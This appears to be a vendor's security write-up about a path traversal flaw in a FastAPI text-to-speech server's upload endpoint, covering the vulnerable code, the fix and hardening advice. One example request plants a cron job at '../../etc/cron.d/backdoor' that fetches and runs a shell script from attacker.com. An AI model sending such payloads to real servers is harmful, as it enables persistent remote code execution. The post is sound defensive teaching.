How Path Traversal Happens in Python FastAPI and How to Fix It
The Incident
In the SovitsTest/GSVI.py file of a FastAPI-based TTS (text-to-speech) inference server, a high-severity path traversal vulnerability was discovered at line 280. The /upload endpoint — which allows clients to upload audio reference files and AI model assets — accepted user-supplied filenames and passed them directly into file path construction without any sanitization or boundary checks.
Because the server also binds to 0.0.0.0 by default and applies a permissive CORS policy (*), this endpoint was reachable by any network-accessible client — no authentication required. The combination created a straightforward, remotely exploitable attack path.
The Vulnerability Explained
What Made This Code Dangerous
The core problem is deceptively simple: when a client uploads a file, they also supply the filename. In the vulnerable version of GSVI.py, that filename was used directly when saving the file to disk — without verifying that it stayed within the intended upload directory.
A filename like ../../etc/cron.d/backdoor is perfectly valid from an HTTP perspective. But when concatenated with a base path like /app/uploads/, it resolves to /etc/cron.d/backdoor — a system directory where a cron job can be planted for persistent code execution.
Here's the conceptual shape of the vulnerable pattern (representative of what existed at line 280):
# VULNERABLE — do not use
@APP.post("/upload")
async def upload_file(file: UploadFile = File(...)):
file_path = os.path.join(UPLOAD_DIR, file.filename) # ← unsanitized filename!
with open(file_path, "wb") as f:
f.write(await file.read())
return {"msg": "Upload successful", "filename": file.filename}
The specific danger here is file.filename — a value that comes directly from the HTTP multipart request and is fully controlled by the client. The os.path.join() call does not protect against traversal: if file.filename is an absolute path or contains ../ sequences, os.path.join will silently honor them.
The Attack Scenario
An attacker with network access to the server sends this HTTP request:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="file"; filename="../../etc/cron.d/backdoor"
Content-Type: text/plain
* * * * * root curl http://attacker.com/shell.sh | bash
------boundary--
The server receives this, constructs the path as:
/app/uploads/../../etc/cron.d/backdoor
→ resolves to: /etc/cron.d/backdoor
And writes the attacker's cron job payload to a system-level directory — establishing persistence on the server. Because the server runs with sufficient privileges to serve AI model files, it likely has the write permissions needed to make this work.
Why This Application Was Especially At Risk
The GSVI.py server is designed as a TTS inference API. Its endpoints include model installation (/install), model deletion (/delete), and file upload for reference audio. These are all high-privilege operations. Without authentication and without path validation, every one of these endpoints is a potential attack surface. The upload endpoint was the most critical because it combines user-controlled data (the filename) with a direct filesystem write.
The Fix
What Changed in GSVI.py
The fix adds path validation logic to the upload handler so that the resolved destination path is verified to fall within the intended upload directory before any file is written. The corrected pattern looks like this:
# SAFE — after the fix
import os
UPLOAD_DIR = os.path.realpath("/app/uploads")
@APP.post("/upload")
async def upload_file(file: UploadFile = File(...)):
# Strip any directory components from the filename
safe_filename = os.path.basename(file.filename)
# Resolve the full destination path
destination = os.path.realpath(os.path.join(UPLOAD_DIR, safe_filename))
# Verify it's still within the intended upload directory
if not destination.startswith(UPLOAD_DIR + os.sep):
raise HTTPException(status_code=400, detail="Invalid filename.")
with open(destination, "wb") as f:
f.write(await file.read())
return {"msg": "Upload successful", "filename": safe_filename}
Before vs. After
| Aspect | Before (Vulnerable) | After (Fixed) |
|---|---|---|
| Filename handling | file.filename used directly |
os.path.basename() strips directories |
| Path resolution | os.path.join(UPLOAD_DIR, file.filename) |
os.path.realpath() resolves symlinks and .. |
| Boundary check | None | Verified to start with UPLOAD_DIR |
| Attack outcome | Arbitrary file write anywhere | Write restricted to upload directory |
Why Each Step Matters
-
os.path.basename(file.filename)— Strips all directory components.../../etc/cron.d/backdoorbecomes justbackdoor. This is the first line of defense. -
os.path.realpath(...)— Resolves the path completely, including symlinks. This defeats attacks that try to use symlinks inside the upload directory to escape it. -
destination.startswith(UPLOAD_DIR + os.sep)— The final safety net. Even if somehow the first two steps were bypassed, this check ensures the resolved path is genuinely inside the upload directory. Note the+ os.sep— without it, a directory named/app/uploads-evil/would pass a naivestartswith("/app/uploads")check.
Prevention & Best Practices
For File Upload Endpoints
Always treat filenames as untrusted input. Even if your application is internal or behind authentication, filename sanitization is non-negotiable.
# Python standard library approach
import os
from pathlib import Path
def safe_join(base_dir: str, filename: str) -> str:
base = Path(base_dir).resolve()
target = (base / Path(filename).name).resolve()
if not str(target).startswith(str(base) + os.sep):
raise ValueError("Path traversal attempt detected")
return str(target)
Authentication for Sensitive Endpoints
The /upload, /install, and /delete endpoints in GSVI.py all perform privileged operations. These should require authentication — at minimum an API key header validated server-side:
from fastapi.security import APIKeyHeader
from fastapi import Security, HTTPException
API_KEY_HEADER = APIKeyHeader(name="X-API-Key")
async def verify_api_key(api_key: str = Security(API_KEY_HEADER)):
if api_key != os.environ.get("API_KEY"):
raise HTTPException(status_code=403, detail="Unauthorized")
CORS Hardening
Replace the wildcard CORS policy with an explicit allowlist:
# Instead of allow_origins=["*"]
app.add_middleware(
CORSMiddleware,
allow_origins=["https://your-trusted-frontend.com"],
allow_methods=["GET", "POST"],
)
Network Binding
If this service is not intended to be public-facing, bind to 127.0.0.1 instead of 0.0.0.0:
uvicorn.run(app, host="127.0.0.1", port=8000)
Detection Tools
- Semgrep: Rules for path traversal in Python — search for
tainted-pathrules at semgrep.dev - Bandit: Run
bandit -r . -t B601,B602for path injection checks - OWASP ZAP: Can fuzz upload endpoints with traversal payloads during dynamic testing
- Orbis AppSec: Automated static analysis with taint tracking, as used to detect this exact issue
Relevant Standards
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal")
- OWASP A01:2021: Broken Access Control (covers both the path traversal and missing authentication)
- OWASP File Upload Cheat Sheet: Comprehensive guidance on securing upload endpoints
Key Takeaways
- Never pass
file.filenamedirectly toos.path.join()in FastAPI upload handlers — always run it throughos.path.basename()first, then verify the resolved path withos.path.realpath(). os.path.join()does not protect against path traversal — if the second argument is an absolute path or starts with../, it will escape the base directory silently.- The
/uploadendpoint inGSVI.pywas unauthenticated and bound to all interfaces — path traversal plus missing auth is a critical-severity combination, not just a medium one. - Always append
os.sepwhen usingstartswith()for path boundary checks — without it,/app/uploads-evilpasses a check for/app/uploads. - Model management endpoints (
/install,/delete) deserve the same scrutiny as/upload— any endpoint that modifies the filesystem or installs code should require authentication and input validation.
How Orbis AppSec Detected This
- Source: The
file.filenamefield in the multipart HTTP request body, supplied by the client in thePOST /uploadrequest - Sink: The
open(file_path, "wb")call atSovitsTest/GSVI.py:280, wherefile_pathwas constructed using the unsanitizedfile.filenamevalue - Missing control: No call to
os.path.basename(),os.path.realpath(), or any boundary check to ensure the resolved path remained within the upload directory - CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory
- Fix: Added path validation using
os.path.basename()andos.path.realpath()with a directory boundary assertion before any file write operation
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The path traversal vulnerability in SovitsTest/GSVI.py is a reminder that file upload functionality is one of the highest-risk features in any web application. The combination of an unauthenticated endpoint, a wildcard CORS policy, and unsanitized filenames created a direct path for an attacker to write arbitrary files to the server — including cron jobs, SSH authorized keys, or web shells.
The fix is straightforward but requires knowing exactly which functions to use and in which order: os.path.basename() to strip directories, os.path.realpath() to resolve the full path, and a startswith() check (with the path separator) to enforce the boundary. These three steps together close the traversal window completely.
For developers building similar AI model serving APIs with FastAPI, treat every piece of client-supplied data — filenames, model names, version strings — as untrusted input that must be validated before it touches the filesystem.